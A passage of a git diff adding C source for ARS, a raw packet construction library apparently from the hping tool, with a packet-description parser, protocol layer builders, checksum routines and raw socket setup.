ARS_TAKE_ICMP_CKSUM; + } else if (strcasecmp(f, "id") == 0) { + icmp->un.echo.id = htons(ars_atou(v)); + } else if (strcasecmp(f, "seq") == 0) { + icmp->un.echo.sequence = htons(ars_atou(v)); + } else if (strcasecmp(f, "gw") == 0) { + return ars_resolve(pkt, &icmp->un.gateway, v); + } else { + ars_set_error(pkt, "Invalid field for ICMP layer"); + return -ARS_INVALID; + } + return -ARS_OK; +} + +int ars_push_data(struct ars_packet *pkt, int layer, void *data, size_t size) +{ + char *p; + int old_size; + + if (layer == ARS_LAST_LAYER) + layer = pkt->p_layer_nr - 1; + if (ars_valid_layer(layer) != -ARS_OK) + return -ARS_INVALID; + + old_size = pkt->p_layer[layer].l_size; + p = realloc(pkt->p_layer[layer].l_data, old_size + size); + if (p == NULL) + return -ARS_NOMEM; + memcpy(p+old_size, data, size); + pkt->p_layer[layer].l_data = p; + pkt->p_layer[layer].l_size += size; + return ARS_OK; +} + +#define ARS_DATA_BUF_SIZE 4096 +int ars_d_set_data(struct ars_packet *pkt, int layer, char *f, char *v) +{ + if (layer == ARS_LAST_LAYER) + layer = pkt->p_layer_nr - 1; + if (ars_valid_layer(layer) != -ARS_OK) + return -ARS_INVALID; + + if (strcasecmp(f, "file") == 0) { + int fd, n_read; + unsigned char buffer[ARS_DATA_BUF_SIZE]; + + if ((fd = open(v, O_RDONLY)) == -1) { + ars_set_error(pkt, "Can't open the DATA file"); + return -ARS_ERROR; + } + if ((n_read = read(fd, buffer, ARS_DATA_BUF_SIZE)) == -1) { + close(fd); + ars_set_error(pkt, "Can't read DATA from file"); + return -ARS_ERROR; + } + close(fd); + if (n_read == 0) + return -ARS_OK; + return ars_push_data(pkt, layer, buffer, n_read); + } else if (strcasecmp(f, "str") == 0) { + return ars_push_data(pkt, layer, v, strlen(v)); + } else { + ars_set_error(pkt, "Invalid field for DATA layer"); + return -ARS_INVALID; + } + return -ARS_OK; +} + +/* A Finite state machine to build the packet using the description */ +int ars_d_build(struct ars_packet *pkt, char *t) +{ + struct ars_d_keyword_info *k = NULL; + char next[ARS_MAX_TSIZE]; + char field[ARS_MAX_TSIZE]; + int state = ARS_G_LAYER; + int error; + void *p; + + while ((t = ars_d_parser(t, next, ARS_MAX_TSIZE)) != NULL) { + switch(state) { + case ARS_G_LAYER: + k = ars_get_keyword_by_name(next); + if (k == NULL) { + ars_set_error(pkt, "Unknown keyword"); + return -ARS_INVALID; + } + __D(printf("Adding a new layer (%s)\n", next);) + p = k->ki_add(pkt, k->ki_opt); + if (p == NULL) + return -ARS_INVALID; + state = ARS_G_OBRACE_OR_PLUS; + break; + case ARS_G_FIELD: + strncpy(field, next, ARS_MAX_TSIZE); + state = ARS_G_EQUAL; + break; + case ARS_G_VALUE: + if (k->ki_set == NULL) { + ars_set_error(pkt, "Field specified for" + "a layer that doesn't support fields"); + return -ARS_INVALID; + } + error = k->ki_set(pkt, ARS_LAST_LAYER, field, next); + if (error != -ARS_OK) + return error; + state = ARS_G_COMMA_OR_CBRACE; + break; + case ARS_G_OBRACE_OR_PLUS: + if (next[0] == '{' && next[1] == '\0') { + state = ARS_G_FIELD; + break; + } else if (next[0] == '+' && next[1] == '\0') { + state = ARS_G_LAYER; + break; + } else { + ars_set_error(pkt, "Missing brace or plus"); + return -ARS_INVALID; + } + break; + case ARS_G_CBRACE: + if (next[0] != '}' || next[1] != '\0') { + ars_set_error(pkt, "Missing closed brace"); + return -ARS_INVALID; + } + state = ARS_G_LEN_OR_PLUS; + break; + case ARS_G_COMMA_OR_CBRACE: + if (next[0] == '}' && next[1] == '\0') { + state = ARS_G_LEN_OR_PLUS; + break; + } else if (next[0] == ',' && next[1] == '\0') { + state = ARS_G_FIELD; + break; + } else { + ars_set_error(pkt, "Missing brace or comma"); + return -ARS_INVALID; + } + break; + case ARS_G_LEN_OR_PLUS: + if (next[0] == '+' && next[1] == '\0') { + state = ARS_G_LAYER; + break; + } + error = ars_d_setlayer_size(pkt, ARS_LAST_LAYER, next); + if (error != -ARS_OK) + return error; + state = ARS_G_PLUS; + break; + case ARS_G_PLUS: + if (next[0] != '+' || next[1] != '\0') { + ars_set_error(pkt, "Missing plus"); + return -ARS_INVALID; + } + state = ARS_G_LAYER; + break; + case ARS_G_EQUAL: + if (next[0] != '=' || next[1] != '\0') { + ars_set_error(pkt, "Missing equal"); + return -ARS_INVALID; + } + state = ARS_G_VALUE; + break; + } + } + if (state != ARS_G_LEN_OR_PLUS && state != ARS_G_PLUS && + state != ARS_G_OBRACE_OR_PLUS) { + ars_set_error(pkt, "Packet description truncated"); + return -ARS_INVALID; + } + return -ARS_OK; +} diff --git a/ars.c b/ars.c new file mode 100644 index 0000000..7c9ed45 --- /dev/null +++ b/ars.c @@ -0,0 +1,905 @@ +/* Copyright (C) 2000,2001 Salvatore Sanfilippo + * See the LICENSE file for more information. + * + * TODO: + * o Functions to add addresses and timestamps for some IP and TCP option + * o IGMP support + * o DNS support + * o ARS add_build_layer() facility and Co., read the PROPOSAL file. + */ + +/* $Id: ars.c,v 1.4 2003/07/28 09:00:54 njombart Exp $ */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "ars.h" + +/* prototypes */ +int ars_compiler_ip(struct ars_packet *pkt, int layer); +int ars_compiler_ipopt(struct ars_packet *pkt, int layer); +int ars_compiler_tcp(struct ars_packet *pkt, int layer); +int ars_compiler_tcpopt(struct ars_packet *pkt, int layer); +int ars_compiler_udp(struct ars_packet *pkt, int layer); +int ars_compiler_icmp(struct ars_packet *pkt, int layer); +int ars_compiler_abort(struct ars_packet *pkt, int layer) { return 0; } + +/* Initialize a packets context: + * must be called before to work with the packet's layers */ +int ars_init(struct ars_packet *pkt) +{ + int j; + + pkt->p_error = NULL; + pkt->p_layer_nr = 0; + for (j = 0; j < ARS_MAX_LAYER; j++) { + pkt->p_layer[j].l_size = 0; + pkt->p_layer[j].l_flags = 0; + pkt->p_layer[j].l_type = ARS_TYPE_NULL; + pkt->p_layer[j].l_data = NULL; + pkt->p_layer[j].l_packet = pkt; + } + for (j = 0; j < ARS_TYPE_SIZE; j++) + pkt->p_default[j] = NULL; + return -ARS_OK; +} + +/* Destroy (free the allocated memory) a packet context */ +int ars_destroy(struct ars_packet *pkt) +{ + int j; + + free(pkt->p_error); + for (j = 0; j < ARS_MAX_LAYER; j++) { + if (pkt->p_layer[j].l_type != ARS_TYPE_NULL && + pkt->p_layer[j].l_data != NULL) + free(pkt->p_layer[j].l_data); + } + return ars_init(pkt); /* Re-initialize it */ +} + +/* THe out of memory message must be statically allocated */ +char *ars_error_nomem = "Out of memory"; + +/* Set the error description */ +int ars_set_error(struct ars_packet *pkt, char *error) +{ + if (pkt == NULL) + return -ARS_OK; + + free(pkt->p_error); /* p_error is initialized to NULL */ + if ((pkt->p_error = strdup(error)) == NULL) { + /* To put the error description for the -KO_NOMEM + * error we needs a statically allocated error message: + * Note that all other functions don't need to report + * a statically allocated error message for -KO_NOMEM + * it will be auto-selected if strdup() returns NULL */ + pkt->p_error = ars_error_nomem; + } + return -ARS_OK; /* report anyway success */ +} + +/* Set the default for a layer */ +int ars_set_default(struct ars_packet *pkt, int layer_type, void *def) +{ + pkt->p_default[layer_type] = def; + return -ARS_OK; +} + +/* return nonzero if the packet is full */ +int ars_nospace(struct ars_packet *pkt) +{ + return (pkt->p_layer_nr == ARS_MAX_LAYER); +} + +/* Check if the layer number is valid */ +int ars_valid_layer(int layer) +{ + if (layer < 0 || layer >= ARS_MAX_LAYER) + return -ARS_INVALID; + return -ARS_OK; +} + +/* Add an a generic layer */ +int ars_add_generic(struct ars_packet *pkt, size_t size, int type) +{ + int layer; + + if (ars_nospace(pkt)) { + ars_set_error(pkt, "No space for the next layer"); + return -ARS_NOSPACE; + } + layer = pkt->p_layer_nr; + /* You may want to create a 0 len layer and then realloc */ + if (size != 0) { + pkt->p_layer[layer].l_data = malloc(size); + if (pkt->p_layer[layer].l_data == NULL) { + ars_set_error(pkt, "Out of memory adding a new layer"); + return -ARS_NOMEM; + } + memset(pkt->p_layer[layer].l_data, 0, size); + /* Copy the default if any */ + if (pkt->p_default[type] != NULL) { + memcpy(pkt->p_layer[layer].l_data, + pkt->p_default[type], size); + } + } + pkt->p_layer[layer].l_type = type; + pkt->p_layer[layer].l_size = size; + return -ARS_OK; +} + +/* Add an IP layer */ +void *ars_add_iphdr(struct ars_packet *pkt, int unused) +{ + int retval; + + retval = ars_add_generic(pkt, sizeof(struct ars_iphdr), ARS_TYPE_IP); + if (retval != -ARS_OK) + return NULL; + pkt->p_layer_nr++; + return pkt->p_layer[pkt->p_layer_nr-1].l_data; +} + +/* Add on IP option */ +void *ars_add_ipopt(struct ars_packet *pkt, int option) +{ + int retval; + struct ars_ipopt *ipopt; + int opt_len; + + switch(option) { + case ARS_IPOPT_END: + case ARS_IPOPT_NOOP: + opt_len = 1; + break; + case ARS_IPOPT_SEC: + opt_len = 11; + break; + case ARS_IPOPT_SID: + opt_len = 4; + break; + case ARS_IPOPT_LSRR: + case ARS_IPOPT_SSRR: + case ARS_IPOPT_RR: + case ARS_IPOPT_TIMESTAMP: + /* We allocate the max (40 bytes) but the real layer size + * may be modified by ars_ipopt_set*() functions */ + opt_len = 40; + break; + default: + return NULL; /* Unsupported option */ + break; + } + + retval = ars_add_generic(pkt, opt_len, ARS_TYPE_IPOPT); + if (retval != -ARS_OK) + return NULL; + ipopt = pkt->p_layer[pkt->p_layer_nr].l_data; + pkt->p_layer_nr++; + + ipopt->kind = option; + ipopt->len = opt_len; /* the default, can be modified inside switch() */ + /* Perform some special operation for some option */ + switch(option) { + case ARS_IPOPT_LSRR: /* ars_ipopt_setls() will change some field */ + case ARS_IPOPT_SSRR: /* ars_ipopt_setss() will change some field */ + case ARS_IPOPT_RR: /* ars_ipopt_setrr() will change some field */ + /* RFC 791 needs the roomlen - 3 octects, so the gateways + * can compare len and ptr to check for room. + * Try to break this to stress lame TCP/IP implementation */ + ipopt->len = opt_len - 2 - 3; + ipopt->un.rr.ptr = 4; + break; + case ARS_IPOPT_TIMESTAMP: + ipopt->un.tstamp.ptr = 5; + ipopt->un.tstamp.flags = ARS_IPOPT_TS_TSONLY; /* default */ + break; + } + return ipopt; +} + +/* Add a UDP layer */ +void *ars_add_udphdr(struct ars_packet *pkt, int unused) +{ + int retval; + + retval = ars_add_generic(pkt, sizeof(struct ars_udphdr), ARS_TYPE_UDP); + if (retval != -ARS_OK) + return NULL; + pkt->p_layer_nr++; + return pkt->p_layer[pkt->p_layer_nr-1].l_data; +} + +/* Add a TCP layer */ +void *ars_add_tcphdr(struct ars_packet *pkt, int unused) +{ + int retval; + + retval = ars_add_generic(pkt, sizeof(struct ars_tcphdr), ARS_TYPE_TCP); + if (retval != -ARS_OK) + return NULL; + pkt->p_layer_nr++; + return pkt->p_layer[pkt->p_layer_nr-1].l_data; +} + +/* Add TCP options */ +void *ars_add_tcpopt(struct ars_packet *pkt, int option) +{ + int retval; + struct ars_tcpopt *tcpopt; + int opt_len; + + switch(option) { + case ARS_TCPOPT_NOP: + case ARS_TCPOPT_EOL: + opt_len = 1; + break; + case ARS_TCPOPT_MAXSEG: + opt_len = 4; + break; + case ARS_TCPOPT_WINDOW: + opt_len = 3; + break; + case ARS_TCPOPT_SACK_PERM: /* ars_tcpopt_setsack() must change this */ + case ARS_TCPOPT_SACK: + opt_len = 2; + break; + case ARS_TCPOPT_ECHOREQUEST: + case ARS_TCPOPT_ECHOREPLY: + opt_len = 6; + break; + case ARS_TCPOPT_TIMESTAMP: + opt_len = 10; + break; + default: + return NULL; /* Unsupported option */ + break; + } + + retval = ars_add_generic(pkt, opt_len, ARS_TYPE_TCPOPT); + if (retval != -ARS_OK) + return NULL; + tcpopt = pkt->p_layer[pkt->p_layer_nr].l_data; + pkt->p_layer_nr++; + + tcpopt->kind = option; + /* EOL and NOP lacks the len field */ + if (option != ARS_TCPOPT_EOL && option != ARS_TCPOPT_NOP) + tcpopt->len = opt_len; + + /* Perform some special operation for the option */ + switch(option) { + case ARS_TCPOPT_ECHOREQUEST: + case ARS_TCPOPT_ECHOREPLY: + memset(tcpopt->un.echo.info, 0, 4); + break; + case ARS_TCPOPT_TIMESTAMP: + memset(tcpopt->un.timestamp.tsval, 0, 4); + memset(tcpopt->un.timestamp.tsecr, 0, 4); + break; + } + return tcpopt; +} + +/* Add an ICMP layer */ +void *ars_add_icmphdr(struct ars_packet *pkt, int unused) +{ + int retval; + struct ars_icmphdr *icmp; + + retval = ars_add_generic(pkt, sizeof(struct ars_icmphdr),ARS_TYPE_ICMP); + if (retval != -ARS_OK) + return NULL; + icmp = pkt->p_layer[pkt->p_layer_nr].l_data; + pkt->p_layer_nr++; + return (struct ars_icmphdr*) pkt->p_layer[pkt->p_layer_nr-1].l_data; +} + +/* Add data, for IP-RAW, TCP, UDP, and so on */ +void *ars_add_data(struct ars_packet *pkt, int size) +{ + int retval; + void *boguspointer = "zzappt"; /* we can't return NULL for size == 0 */ + + if (size < 0) { + ars_set_error(pkt, "Tryed to add a DATA layer with size < 0"); + return NULL; + } + retval = ars_add_generic(pkt, size, ARS_TYPE_DATA); + if (retval != -ARS_OK) + return NULL; + pkt->p_layer_nr++; + if (size > 0) + return pkt->p_layer[pkt->p_layer_nr-1].l_data; + else + return boguspointer; +} + +/* Remove a layer */ +int ars_remove_layer(struct ars_packet *pkt, int layer) +{ + if (layer == ARS_LAST_LAYER) + layer = pkt->p_layer_nr -1; + if (ars_valid_layer(layer) != -ARS_OK) + return -ARS_INVALID; + + free(pkt->p_layer[layer].l_data); /* No problem if it's NULL */ + pkt->p_layer[layer].l_type = ARS_TYPE_NULL; + pkt->p_layer[layer].l_size = 0; + pkt->p_layer[layer].l_flags = 0; + pkt->p_layer[layer].l_data = NULL; + pkt->p_layer[layer].l_packet = pkt; + return -ARS_OK; +} + +/* Return the sum of the size of the specifed layer and of all the + * following layers */ +size_t ars_relative_size(struct ars_packet *pkt, int layer_nr) +{ + int j = layer_nr, rel_size = 0; + + while (j < ARS_MAX_LAYER && pkt->p_layer[j].l_type != ARS_TYPE_NULL) { + rel_size += pkt->p_layer[j].l_size; + j++; + } + return rel_size; +} + +/* Just a short cut for ars_relative_size(), to get the total size */ +size_t ars_packet_size(struct ars_packet *pkt) +{ + return ars_relative_size(pkt, 0); +} + +/* from R. Stevens's Network Programming */ +u_int16_t ars_cksum(void *vbuf, size_t nbytes) +{ + u_int16_t *buf = (u_int16_t*) vbuf; + u_int32_t sum; + u_int16_t oddbyte; + + sum = 0; + while (nbytes > 1) { + sum += *buf++; + nbytes -= 2; + } + if (nbytes == 1) { + oddbyte = 0; + *((u_int16_t *) &oddbyte) = *(u_int8_t *) buf; + sum += oddbyte; + } + sum = (sum >> 16) + (sum & 0xffff); + sum += (sum >> 16); + return (u_int16_t) ~sum; +} + +/* Multiple buffers checksum facility */ +u_int16_t ars_multi_cksum(struct mc_context *c, int op, void *vbuf, + size_t nbytes) +{ + u_int16_t *buf = (u_int16_t*) vbuf; + u_int32_t sum; + u_int16_t oddbyte; + void *tmp; + + if (op == ARS_MC_INIT) { + c->oddbyte_flag = 0; + c->old = 0; + return -ARS_OK; + } else if (op == ARS_MC_UPDATE) { + if (c->oddbyte_flag) { + u_int8_t *x = (u_int8_t*)&oddbyte; + oddbyte = 0; + *((u_int16_t *) &oddbyte) = c->oddbyte << 8; + *((u_int16_t *) &oddbyte) |= *(u_int8_t *) buf; + oddbyte = (x[0] << 8) | x[1]; /* fix endianess */ + c->old += oddbyte; + nbytes--; + c->oddbyte_flag = 0; + /* We need to stay aligned -- bad slowdown, fix? */ + tmp = alloca(nbytes); + memcpy(tmp, vbuf+1, nbytes); + buf = tmp; + } + sum = c->old; + while (nbytes > 1) { + sum += *buf++; + nbytes -= 2; + } + c->old = sum; + if (nbytes == 1) { + c->oddbyte = *(u_int8_t*) buf; + c->oddbyte_flag++; + } + return -ARS_OK; + } else if (op == ARS_MC_FINAL) { + sum = c->old; + if (c->oddbyte_flag == 1) { + oddbyte = 0; + *((u_int16_t *) &oddbyte) = c->oddbyte; + sum += oddbyte; + } + sum = (sum >> 16) + (sum & 0xffff); + sum += (sum >> 16); + return (u_int16_t) ~sum; + } else { + assert("else reached in ars_multi_cksum()" == ""); + } + return 0; /* unreached, here to prevent warnings */ +} + +/* The ARS compiler table is just a function pointers array: + * For example to select the right function to compile an IP + * layer use: ars_compiler[ARS_TYPE_IP](pkt, layer); + * You can, of course, add your protocols and compilers: + * + * WARNING: take it syncronized with ars.h ARS_TYPE_* defines + */ +struct ars_layer_info ars_linfo[ARS_TYPE_SIZE] = { + /* NAME COMPILER ID * + * ---- -------- -- */ + { "NULL", ars_compiler_abort, 0 }, + { "IP", ars_compiler_ip, 1 }, + { "IPOPT", ars_compiler_ipopt, 2 }, + { "ICMP", ars_compiler_icmp, 3 }, + { "UDP", ars_compiler_udp, 4 }, + { "TCP", ars_compiler_tcp, 5 }, + { "TCPOPT", ars_compiler_tcpopt, 6 }, + { NULL, NULL, 7 }, + { NULL, NULL, 8 }, + { NULL, NULL, 9 }, + { NULL, NULL, 10 }, + { NULL, NULL, 11 }, + { NULL, NULL, 12 }, + { NULL, NULL, 13 }, + { NULL, NULL, 14 }, + { NULL, NULL, 15 }, + { NULL, NULL, 16 }, + { NULL, NULL, 17 }, + { NULL, NULL, 18 }, + { NULL, NULL, 19 }, + { NULL, NULL, 20 }, + { NULL, NULL, 21 }, + { NULL, NULL, 22 }, + { NULL, NULL, 23 }, + { NULL, NULL, 24 }, + { NULL, NULL, 25 }, + { NULL, NULL, 26 }, + { NULL, NULL, 27 }, + { NULL, NULL, 28 }, + { NULL, NULL, 29 }, + { NULL, NULL, 30 }, + { "DATA", NULL, 31 } +}; + +/* This function call the right compiler for all the layers of the packet: + * A compiler just set the protocol fields like the checksum, len, and so on + * accordly to the following layers. + * Note that the layers are compiled from the last to the first, to ensure + * that the checksum and other dependences are sane. */ +int ars_compile(struct ars_packet *pkt) +{ + int j, err; + + for (j = pkt->p_layer_nr - 1; j >= 0; j--) { + __D(printf("Compiling layer %d\n", j);) + /* Skip NULL compilers */ + if (ars_linfo[pkt->p_layer[j].l_type].li_compiler != NULL) { + /* Call the compiler */ + err = ars_linfo[pkt->p_layer[j].l_type].li_compiler(pkt, j); + if (err != -ARS_OK) + return err; + } + } + return -ARS_OK; +} + +/* The IP compiler: probably the more complex, but still simple */ +int ars_compiler_ip(struct ars_packet *pkt, int layer) +{ + struct ars_iphdr *ip = pkt->p_layer[layer].l_data; + int j = layer, err; + int flags = pkt->p_layer[layer].l_flags; + int ipoptlen = 0; + struct mc_context mc; /* multi-buffer checksum context */ + + /* IP version */ + if (ARS_DONTTAKE(flags, ARS_TAKE_IP_VERSION)) + ip->version = 4; + /* IP header len */ + if (ARS_DONTTAKE(flags, ARS_TAKE_IP_HDRLEN)) { + ip->ihl = (ARS_IPHDR_SIZE >> 2); + /* Add IP options len */ + for (j = layer+1; j < ARS_MAX_LAYER; j++) { + if (pkt->p_layer[j].l_type != ARS_TYPE_IPOPT) + break; + ipoptlen += pkt->p_layer[j].l_size; + } + ip->ihl += ipoptlen >> 2; + } + /* IP tot len */ + if (ARS_DONTTAKE(flags, ARS_TAKE_IP_TOTLEN)) + ip->tot_len = htons(ars_relative_size(pkt, layer)); + /* IP protocol field */ + if (ARS_DONTTAKE(flags, ARS_TAKE_IP_PROTOCOL)) { + ip->protocol = ARS_IPPROTO_RAW; /* This is the default */ + while (j < ARS_MAX_LAYER) { + if (pkt->p_layer[j].l_type == ARS_TYPE_IPOPT) { + j++; + continue; + } + switch(pkt->p_layer[j].l_type) { + case ARS_TYPE_IP: + ip->protocol = ARS_IPPROTO_IPIP; + break; + case ARS_TYPE_ICMP: + ip->protocol = ARS_IPPROTO_ICMP; + break; + case ARS_TYPE_UDP: + ip->protocol = ARS_IPPROTO_UDP; + break; + case ARS_TYPE_TCP: + ip->protocol = ARS_IPPROTO_TCP; + break; + } + break; + } + } + /* We always calculate the IP checksum, since the kernel + * do it only for the first IP header in the datagram */ + if (ARS_DONTTAKE(flags, ARS_TAKE_IP_CKSUM)) { + ip->check = 0; + ars_multi_cksum(&mc, ARS_MC_INIT, NULL, 0); + err = ars_multi_cksum(&mc, ARS_MC_UPDATE, ip, ARS_IPHDR_SIZE); + if (err != -ARS_OK) + return err; + for (j = layer+1; j < ARS_MAX_LAYER; j++) { + if (pkt->p_layer[j].l_type != ARS_TYPE_IPOPT) + break; + err = ars_multi_cksum(&mc, ARS_MC_UPDATE, + pkt->p_layer[j].l_data, + pkt->p_layer[j].l_size); + if (err != -ARS_OK) + return err; + } + ip->check = ars_multi_cksum(&mc, ARS_MC_FINAL, NULL, 0); + } + return -ARS_OK; +} + +/* The ip options compiler: do just option padding with NOP options */ +int ars_compiler_ipopt(struct ars_packet *pkt, int layer) +{ + int j, opt_size; + + /* Padding is needed only in the last IP option */ + if (layer != ARS_MAX_LAYER-1 && + pkt->p_layer[layer+1].l_type == ARS_TYPE_IPOPT) + return ARS_OK; + + /* Search the layer of the relative first TCP option */ + j = layer - 1; /* We know that 'layer' is a tcp option */ + while (j < ARS_MAX_LAYER && j >= 0 && + pkt->p_layer[j].l_type == ARS_TYPE_IPOPT) + j--; + j++; + __D(printf("First IP OPTION layer is %d\n", j);) + opt_size = ars_relative_size(pkt, j) - ars_relative_size(pkt, layer+1); + __D(printf("IP OPTION size %d\n", opt_size);) + if (opt_size % 4) { + int padding = 4 - (opt_size % 4); + unsigned char *t; + int cur_size = pkt->p_layer[layer].l_size; + + __D(printf("IP OPTION at layer %d needs %d bytes " + "of padding\n", layer, padding);) + t = realloc(pkt->p_layer[layer].l_data, cur_size + padding); + if (t == NULL) { + ars_set_error(pkt, "Out of memory padding IP options"); + return -ARS_NOMEM; + } + memset(t+cur_size, ARS_IPOPT_NOP, padding); + pkt->p_layer[layer].l_size += padding; + } + return -ARS_OK; +} + +/* Compute the UDP and TCP checksum using the pseudoheader. + * Note that this functions automatically care about TCP/UDP data */ +int ars_udptcp_cksum(struct ars_packet *pkt, int layer, u_int16_t *sum) +{ + struct ars_iphdr *ip; + struct ars_pseudohdr pseudo; + struct mc_context mc; /* multi-buffer checksum context */ + int j = layer - 1, err; + + /* search the first IP layer on the left: + * it returns an error if between the IP and + * the TCP layer there aren't just IPOPT layers: + * even with malformed packets this does not + * makes sense. */ + while (j > 0 && pkt->p_layer[j].l_type == ARS_TYPE_IPOPT) + j--; + if (pkt->p_layer[j].l_type != ARS_TYPE_IP) { + ars_set_error(pkt, "TCP/UDP checksum requested, but IP header " + "not found"); + return -ARS_INVALID; + } + ip = pkt->p_layer[j].l_data; + memset(&pseudo, 0, sizeof(pseudo)); /* actually not needed */ + /* Copy the src and dst IP address */ + memcpy(&pseudo.saddr, &ip->saddr, 4); + memcpy(&pseudo.daddr, &ip->daddr, 4); + pseudo.protocol = (pkt->p_layer[layer].l_type == ARS_TYPE_TCP) + ? ARS_IPPROTO_TCP : ARS_IPPROTO_UDP; + pseudo.lenght = htons(ars_relative_size(pkt, layer)); + + /* Finally do the checksum */ + ars_multi_cksum(&mc, ARS_MC_INIT, NULL, 0); + err = ars_multi_cksum(&mc, ARS_MC_UPDATE, &pseudo, sizeof(pseudo)); + if (err != -ARS_OK) + return err; + for (j = layer; j < ARS_MAX_LAYER; j++) { + if (pkt->p_layer[j].l_type == ARS_TYPE_NULL) + break; + err = ars_multi_cksum(&mc, ARS_MC_UPDATE, + pkt->p_layer[j].l_data, + pkt->p_layer[j].l_size); + if (err != -ARS_OK) + return err; + } + *sum = ars_multi_cksum(&mc, ARS_MC_FINAL, NULL, 0); + return -ARS_OK; +} + +/* The tcp compiler */ +int ars_compiler_tcp(struct ars_packet *pkt, int layer) +{ + struct ars_tcphdr *tcp = pkt->p_layer[layer].l_data; + int j, err, tcpoptlen = 0; + int flags = pkt->p_layer[layer].l_flags; + + if (ARS_DONTTAKE(flags, ARS_TAKE_TCP_HDRLEN)) { + tcp->th_off = ARS_TCPHDR_SIZE >> 2; + /* Add the len of the options */ + for (j = layer+1; j < ARS_MAX_LAYER; j++) { + if (pkt->p_layer[j].l_type != ARS_TYPE_TCPOPT) + break; + tcpoptlen += pkt->p_layer[j].l_size; + } + tcp->th_off += tcpoptlen >> 2; + } + if (ARS_DONTTAKE(flags, ARS_TAKE_TCP_CKSUM)) { + tcp->th_sum = 0; + err = ars_udptcp_cksum(pkt, layer, &tcp->th_sum); + if (err != -ARS_OK) + return err; + } + return -ARS_OK; +} + +/* The tcp options compiler: do just option padding with NOP options */ +int ars_compiler_tcpopt(struct ars_packet *pkt, int layer) +{ + int j, opt_size; + + /* Padding is needed only in the last TCP option */ + if (layer != ARS_MAX_LAYER-1 && + pkt->p_layer[layer+1].l_type == ARS_TYPE_TCPOPT) + return ARS_OK; + + /* Search the layer of the relative first TCP option */ + j = layer - 1; /* We know that 'layer' is a tcp option */ + while (j < ARS_MAX_LAYER && j >= 0 && + pkt->p_layer[j].l_type == ARS_TYPE_TCPOPT) + j--; + j++; + __D(printf("First TCP OPTION layer is %d\n", j);) + opt_size = ars_relative_size(pkt, j) - ars_relative_size(pkt, layer+1); + __D(printf("TCP OPTION size %d\n", opt_size);) + if (opt_size % 4) { + int padding = 4 - (opt_size % 4); + unsigned char *t; + int cur_size = pkt->p_layer[layer].l_size; + + __D(printf("TCP OPTION at layer %d needs %d bytes " + "of padding\n", layer, padding);) + t = realloc(pkt->p_layer[layer].l_data, cur_size + padding); + if (t == NULL) { + ars_set_error(pkt, "Out of memory padding TCP options"); + return -ARS_NOMEM; + } + memset(t+cur_size, ARS_TCPOPT_NOP, padding); + pkt->p_layer[layer].l_size += padding; + } + return -ARS_OK; +} + +/* The udp compiler, very simple */ +int ars_compiler_udp(struct ars_packet *pkt, int layer) +{ + struct ars_udphdr *udp = pkt->p_layer[layer].l_data; + int err; + int flags = pkt->p_layer[layer].l_flags; + + if (ARS_DONTTAKE(flags, ARS_TAKE_UDP_LEN)) + udp->uh_ulen = htons(ars_relative_size(pkt, layer)); + + if (ARS_DONTTAKE(flags, ARS_TAKE_UDP_CKSUM)) { + udp->uh_sum = 0; + err = ars_udptcp_cksum(pkt, layer, &udp->uh_sum); + if (err != -ARS_OK) + return err; + } + return -ARS_OK; +} + +/* The icmp compiler, just compute the checksum */ +int ars_compiler_icmp(struct ars_packet *pkt, int layer) +{ + struct ars_icmphdr *icmp = pkt->p_layer[layer].l_data; + struct mc_context mc; /* multi-buffer checksum context */ + int err, j; + int flags = pkt->p_layer[layer].l_flags; + + if (ARS_DONTTAKE(flags, ARS_TAKE_ICMP_CKSUM)) { + icmp->checksum = 0; + ars_multi_cksum(&mc, ARS_MC_INIT, NULL, 0); + for (j = layer; j < ARS_MAX_LAYER; j++) { + if (pkt->p_layer[j].l_type == ARS_TYPE_NULL) + break; + err = ars_multi_cksum(&mc, ARS_MC_UPDATE, + pkt->p_layer[j].l_data, + pkt->p_layer[j].l_size); + if (err != -ARS_OK) + return err; + } + icmp->checksum = ars_multi_cksum(&mc, ARS_MC_FINAL, NULL, 0); + } + return -ARS_OK; +} + +/* Open a raw socket, ready for IP header creation and broadcast addresses */ +int ars_open_rawsocket(struct ars_packet *pkt) +{ + int s; + const int one = 1; + + if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1) { + ars_set_error(pkt, "Can't open the raw socket"); + return -ARS_ERROR; + } + if (setsockopt(s, SOL_SOCKET, SO_BROADCAST, (char*)&one, + sizeof(one)) == -1 || + setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char*)&one, + sizeof(one)) == -1) + { + close(s); + ars_set_error(pkt, "Can't set socket options"); + return -ARS_ERROR; + } + return s; +} + +/* Create the packets using the layers. This function is often called + * after the layers compilation. Note that since the packet created + * is sane the strange-rawsocket-behaviour of some *BSD will not + * be able to send this packet. Use the function ars_bsd_fix() to fix it. + * WARNING: The packets returned is malloc()ated, free it */ +int ars_build_packet(struct ars_packet *pkt, unsigned char **packet, size_t *size) +{ + size_t tot_size, offset = 0; + int j = 0; + + if ((tot_size = ars_packet_size(pkt)) == 0) { + ars_set_error(pkt, "Total size 0 building the packet"); + return -ARS_INVALID; + } + if ((*packet = malloc(tot_size)) == NULL) { + ars_set_error(pkt, "Out of memory building the packet"); + return -ARS_NOMEM; + } + while (j < ARS_MAX_LAYER && pkt->p_layer[j].l_type != ARS_TYPE_NULL) { + memcpy((*packet)+offset, pkt->p_layer[j].l_data, + pkt->p_layer[j].l_size); + offset += pkt->p_layer[j].l_size; + j++; + } + *size = tot_size; + return -ARS_OK; +} + +/* FreeBSD and NetBSD have a strange raw socket layer :( + * Call this function anyway to increase portability + * since it does not perform any operation if the + * system isn't FreeBSD or NetBSD. */ +int ars_bsd_fix(struct ars_packet *pkt, unsigned char *packet, size_t size) +{ + struct ars_iphdr *ip; + + if (pkt->p_layer[0].l_type != ARS_TYPE_IP || + size < sizeof(struct ars_iphdr)) { + ars_set_error(pkt, "BSD fix requested, but layer 0 not IP"); + return -ARS_INVALID; + } + ip = (struct ars_iphdr*) packet; +#if defined OSTYPE_FREEBSD || defined OSTYPE_NETBSD || defined OSTYPE_BSDI + ip->tot_len = ntohs(ip->tot_len); + ip->frag_off = ntohs(ip->frag_off); +#endif + return -ARS_OK; +} + +/* Set the flags for some layer: if layer == -1 the last layer will be used */ +int ars_set_flags(struct ars_packet *pkt, int layer, int flags) +{ + if (layer == ARS_LAST_LAYER) + layer = pkt->p_layer_nr - 1; + if (layer < 0 || layer >= ARS_MAX_LAYER) { + ars_set_error(pkt, "Invalid layer setting layer flags"); + return -ARS_INVALID; + } + pkt->p_layer[layer].l_flags = flags; + return -ARS_OK; +} + +/* Build, 